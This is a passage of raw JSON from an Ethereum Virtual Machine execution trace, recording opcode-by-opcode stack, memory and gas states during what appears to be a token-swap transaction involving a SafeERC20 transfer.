1bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12566,"op":"DUP1","gas":77248,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12567,"op":"DUP4","gas":77245,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12568,"op":"SUB","gas":77242,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x3a4","0x408"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12569,"op":"DUP2","gas":77239,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12570,"op":"PUSH1","gas":77236,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x64","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12572,"op":"DUP8","gas":77233,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x64","0x3a4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12573,"op":"DUP1","gas":77230,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x64","0x3a4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12574,"op":"EXTCODESIZE","gas":77227,"gasCost":100,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x64","0x3a4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12575,"op":"ISZERO","gas":77127,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x64","0x3a4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x20b8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12576,"op":"DUP1","gas":77124,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x3a4","0x64","0x3a4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12577,"op":"ISZERO","gas":77121,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842